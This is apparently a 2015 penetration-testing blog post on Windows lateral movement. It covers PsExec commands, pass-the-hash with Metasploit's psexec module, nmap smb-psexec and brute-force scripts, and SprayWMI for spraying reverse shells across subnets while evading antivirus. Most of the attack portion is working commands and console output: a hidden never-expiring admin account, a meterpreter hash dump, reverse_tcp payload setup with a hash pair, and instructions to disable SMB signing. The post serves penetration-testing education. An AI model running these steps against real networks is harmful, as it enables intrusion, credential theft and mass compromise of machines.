Ditch PsExec, SprayWMI is here ;)

PsExec is an utility developed by Sysinternals and then acquired by Microsoft that allows to control a Windows computer by using the command line and represents a light-weight alternative to telnet. Unlike other remote administration tools it doesn’t require to install a client on the remote computer and it doesn’t need any complicated setup, just copy PsExec onto your executable path, type “psexec” and you are ready to go. Now I’ll show you the syntax and a few examples of use cases:


Usage: psexec [\\computer[,computer2[,...] | @file]][-u user [-p psswd][-n s][-r servicename][-h][-l][-s|-e][-x][-i [session]][-c [-f|-v]][-w directory][-d][-<priority>][-a n,n,...] cmd [arguments]
-a Separate processors on which the application can run with commas where 1 is the lowest numbered CPU. For example, to run the application on CPU 2 and CPU 4, enter: "-a 2,4"
-c Copy the specified program to the remote system for execution. If you omit this option the application must be in the system path on the remote system.
-d Don't wait for process to terminate (non-interactive).
-e Does not load the specified account’s profile.
-f Copy the specified program even if the file already exists on the remote system.
-i Run the program so that it interacts with the desktop of the specified session on the remote system. If no session is specified the process runs in the console session.
-h If the target system is Vista or higher, has the process run with the account's elevated token, if available.
-l Run process as limited user (strips the Administrators group and allows only privileges assigned to the Users group). On Windows Vista the process runs with Low Integrity.
-n Specifies timeout in seconds connecting to remote computers.
-p Specifies optional password for user name. If you omit this you will be prompted to enter a hidden password.
-r Specifies the name of the remote service to create or interact with.
-s Run the remote process in the System account.
-u Specifies optional user name for login to remote computer.
-v Copy the specified file only if it has a higher version number or is newer on than the one on the remote system.
-w Set the working directory of the process (relative to remote computer).
-x Display the UI on the Winlogon secure desktop (local system only).
-priority Specifies -low, -belownormal, -abovenormal, -high or -realtime to run the process at a different priority. Use -background to run at low memory and I/O priority on Vista.
computer Direct PsExec to run the application on the remote computer or computers specified. If you omit the computer name, PsExec runs the application on the local system, and if you specify a wildcard (\\*), PsExec runs the command on all computers in the current domain.
@file PsExec will execute the command on each of the computers listed in the file.
cmd Name of application to execute.
arguments Arguments to pass (note that file paths must be absolute paths on the target system).
-accepteula This flag suppresses the display of the license dialog.


The following command launches an interactive command prompt on \\fabio:

psexec \\fabio cmd

This command executes IpConfig on the remote system with the /all switch, and displays the resulting output locally:

psexec \\fabio ipconfig /all

This command copies the program test.exe to the remote system and executes it interactively:

psexec \\fabio -c test.exe

Specify the full path to a program that is already installed on a remote system if its not on the system’s path:

psexec \\fabio c:\bin\test.exe

Run Regedit interactively in the System account to view the contents of the SAM and SECURITY keys::

psexec -i -d -s c:\windows\regedit.exe

To run Internet Explorer as with limited-user privileges use this command:

psexec -l -d "c:\program files\internet explorer\iexplore.exe"

PsExec one liners

Multiple commands on one line:

opens a new shell, echo a b c and pause

psexec //fabio -e cmd /c (echo a ^& echo b ^& echo c ^& pause)

Multiple commands split over multiple lines:

psexec //fabio -e cmd /c (echo a ^
& echo b ^
& echo c ^

Multiple commands, lines, escapes:

grants Everyone Modify access to a folder on the remote machine:

psexec -e \\fabio cmd /c (^
mkdir c:\localapp\Common ^
& mkdir c:\localdata\Common ^
& c:\temp\icacls.exe c:\localapp\common /grant Everyone:^^(OI^^)^^(CI^^)^^(M^^) ^
& c:\temp\icacls.exe c:\localdata\common /grant Everyone:^^(OI^^)^^(CI^^)^^(M^^) ^

Single line FOR loop:

remotely registering 32bit .OCX files in 64bit Windows 7’s syswow64 folder for backwards compatibility with old app:

psexec -e \\fabio cmd /c (FOR /F "delims=" %%f IN ^('dir /b c:\windows\syswow64\MSC*.OCX'^) DO ^( c:\windows\syswow64\regsvr32.exe /s "c:\windows\syswow64\%%f" ^))

Run commands after psexec communication terminates:

psexec -e -d \\%h% cmd /c (net stop mpssvc ^& net start mpssvc)

Install something under a SYSTEM account (sample batch file):

@echo off
::Run from UNC share, will need SYSTEM Account access
"%~dp0psexec.exe" -s msiexec /i "%~dp0The Raisers Edge.msi" TRANSFORMS="%~dp0raiser.mst" /q
"%~dp0psexec.exe" -s cmd /c ("%~dp0owc11.exe" /quiet)
"%~dp0psexec.exe" -s cmd /c (^
copy /y "%~dp0Patchpackage.msp" ^%%temp^%% ^
& copy /y "%~dp0BBPatch.exe" ^%%temp^%% ^
& pushd ^%%temp^%% ^
& msiexec /p ^"^%%temp^%%\Patchpackage.msp^" /q ^

Remotely add a user with administrator rights with password xxxxx that never expires :

psexec -e \\%h% cmd /c (^
net user h4xor /delete ^
& net user h4xor xxxxx /add ^
& net localgroup Administrators h4xor /add ^
& net localgroup Users h4xor /delete ^
& wmic useraccount where "Name like '%%h4xor%%'" SET PasswordExpires=FALSE ^

PsExec Pass The Hash

PsExec is interesting because it will authenticate with either a plaintext password or a password hash. This is possible because the NTLM authentication mechanism doesn’t transmit a plaintext password and its challenge-response scheme doesn’t require the client to know the user’s plaintext password.

This feature is very useful for a penetration tester because it allows to gain a shell on the victim’s machine even without knowing the password (cracking a password takes time) if he has got the password hash. Often as penetration testers, we successfully gain access to a system through some exploit, use meterpreter to grab the passwords or other methods like fgdump, pwdump, or cachedump and then utilize rainbowtables to crack those hash values. One great method with psexec in metasploit is it allows you to enter the password itself, or you can simply just specify the hash values, no need to crack to gain access to the system. Let’s think deeply about how we can utilize this attack to further penetrate a network. Lets first say we compromise a system that has an administrator password on the system, we don’t need to crack it because psexec allows us to utilize just the hash values, that administrator account is the same on every account within the domain infrastructure. We can now go from system to system without ever having to worry about cracking the password. One important thing to note on this is that if NTLM is only available (for example its a 15+ character password or through GPO they specify NTLM response only), simply replace the ****NOPASSWORD**** with 32 0’s for example:


Would be replaced by:


While testing this in your lab, you may encounter the following error even though you are using the correct credentials:

STATUS_ACCESS_DENIED (Command=117 WordCount=0)

This can be remedied by navigating to the registry key, “HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters” on the target systems and setting the value of “RequireSecuritySignature” to “0”.

[*] Meterpreter session 1 opened ( ->

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

meterpreter >

Now that we have a meterpreter console and dumped the hashes, lets connect to a different victim using PSExec and just the hash values.

root@kali:~# msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###

       =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 787 exploits - 425 auxiliary - 128 post
+ -- --=[ 238 payloads - 27 encoders - 8 nops
       =[ svn r14551 updated yesterday (2012.01.14)

msf > search psexec


   Name                       Description
   ----                       -----------
   windows/smb/psexec         Microsoft Windows Authenticated User Code Execution
   windows/smb/smb_relay      Microsoft Windows SMB Relay Code Execution

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST
msf exploit(psexec) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPass                   no        The password for the specified username
   SMBUser  Administrator    yes       The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST   yes       The local address
   LPORT     443              yes       The local port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \KoVCxCjx.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \KoVCxCjx.exe...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened ( ->

meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.


The Metasploit psexec module is very handy but sometimes we may not be able to use Metasploit because it is either unavailable or prohibited to use (OSCP anyone?), then the Nmap smb-psexec.nse script comes to rescue.

nmap -p139,445 --script=smb-psexec --script-args=smbuser=ron,smbpass=Password1 <target>

if you either don’t know the username/password, or you have many machines with different accounts, you can combine smb-psexec.nse with smb-brute.nse:

nmap -p139,445 --script=smb-brute,smb-psexec <target>

PsExec is noisy, we like silence

silence please

shut up

PsExec has worked very well for more than 15 years(!!!), but the problem is that nowadays it can be easily detected by AV because it creates a service and touches the disk.

Using WMI (Windows Management Instrumentation) we can execute code and commands on remote systems without touching disk or creating a new service. We also have the ability to use the actual password or the hash.

The initial WMI communications use TCP port 135 and afterwards a random port is negotiated. Since WMI and RPC services are often used for remote administration and administration tools, it is common to see these ports open and unfiltered on internal networks.

Two tools that ship with Kali for executing code with WMI are impackets wmiexec and pth-wmis.

Recently Dave Kennedy, CEO of TrustedSec released a tool in collaboration with Justin Elze (author of the pth-toolkit): SprayWMI

SprayWMI which leverages wmis and Magic Unicorn to automatically sweep subnet ranges for 135 and automatically attempts to login with either a password or hashes and automatically generate powershell injection to give you access to your payloads instantly and without touching disk.

With SprayWMI – it moves super quick, finishing a class C in around 4 seconds and automatically creates the injection code, the listener inside of Metasploit, and launches everything for you. All you need to do is sit back and watch the shells flow in.

Below is the standard syntax to start the tool:

root@stronghold:/home/relik/Desktop/git/spraywmi# python spraywmi.py
__   __   __                        
/__` |__) |__)  /\  \ / |  |  |\/| |
.__/ |    |  \ /~~\  |  |/\|  |  | |
Written by: David Kennedy @ TrustedSec
SprayWMI is a method for mass spraying unicorn powershell injection to CIDR notations.
Flag descriptions:
DOMAIN - domain you are attacking - if its local, just specify workgroup
USERNAME - username to authenticate on the remote Windows system
PASSWORD - password or password hash lm:ntlm to use on the remote Windows system
CIDR_RANGE,CIDR_RANGE or ips.txt - you can specify a single ip, a CIDR range ( or multiple CIDRs such as, You can also specify a file (ex: file.txt) which has single IP addresses on a new line.
METASPLOIT_PAYLOAD - this is the payload you want to use example: windows/meterpreter/reverse_tcp
REVERSE_SHELL_IP - this is the IP address of your attacker machine that you want to create a listener or use an already established listener
REVERSE_SHELL_PORT - port to connect back on for the reverse
OPTIONAL: NO - specify no if you do not want to create a listener - this is useful if you already have a listener established. If you do not specify a value here, it will automatically create a listener for you.
Usage: python spraywmi.py <domain> <username> <password or hash lm:ntlm> <cidr_range,cidr_range or ips.txt> <metasploit_payload> <reverse_shell_ip> <reverse_shell_port> <optional: no>

Actual usage is pretty simple:

root@stronghold:/home/relik# python spraywmi.py TS kennedy-test complexP255w0rd!,,,, windows/meterpreter/reverse_tcp 443

Next, let the shells rain in:

[*] Generating shellcode through unicorn, could take a few seconds...
[*] Launching the listener in the background...
[*] Waiting for the listener to start first before we continue forward...
[*] Be patient, Metaploit takes a little bit to start...
[*] Sweeping network for ports that are open first, then moving through... Be patient.
[*] Launching WMI spray against IP: - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: - you should have a shell in the background. Once finished, shell will spawn
[*] Launching WMI spray against IP: - you should have a shell in the background. Once finished, shell will spawn
[*] Spraying is still happening in the background, shells should arrive as they complete.
[*] Interacting with Metasploit...
msf exploit(handler) >
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to
[*] Meterpreter session 1 opened ( -> at 2015-10-13 04:33:55 -0400
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to
[*] Meterpreter session 2 opened ( -> at 2015-10-13 04:33:59 -0400
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to
[*] Meterpreter session 3 opened ( -> at 2015-10-13 04:34:02 -0400
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to
[*] Meterpreter session 4 opened ( -> at 2015-10-13 04:34:06 -0400
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to
[*] Meterpreter session 5 opened ( -> at 2015-10-13 04:34:10 -0400
[*] Meterpreter session 13 opened ( -> at 2015-10-13 04:34:31 -040
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (885836 bytes) to
[*] Meterpreter session 14 opened ( -> at 2015-10-13 04:34:35 -0400
[*] Encoded stage with x86/shikata_ga_nai
Did you enjoy this article?
Signup today and receive free updates straight in your inbox. We will never share or sell your email address.
I agree to have my personal information transfered to MailChimp ( more information )

Author: Fabio Baroni   Date: 2015-10-19 23:22:52

Comments 2

  1. Pingback: Mao Zeshao

Leave a Reply

Your email address will not be published. Required fields are marked *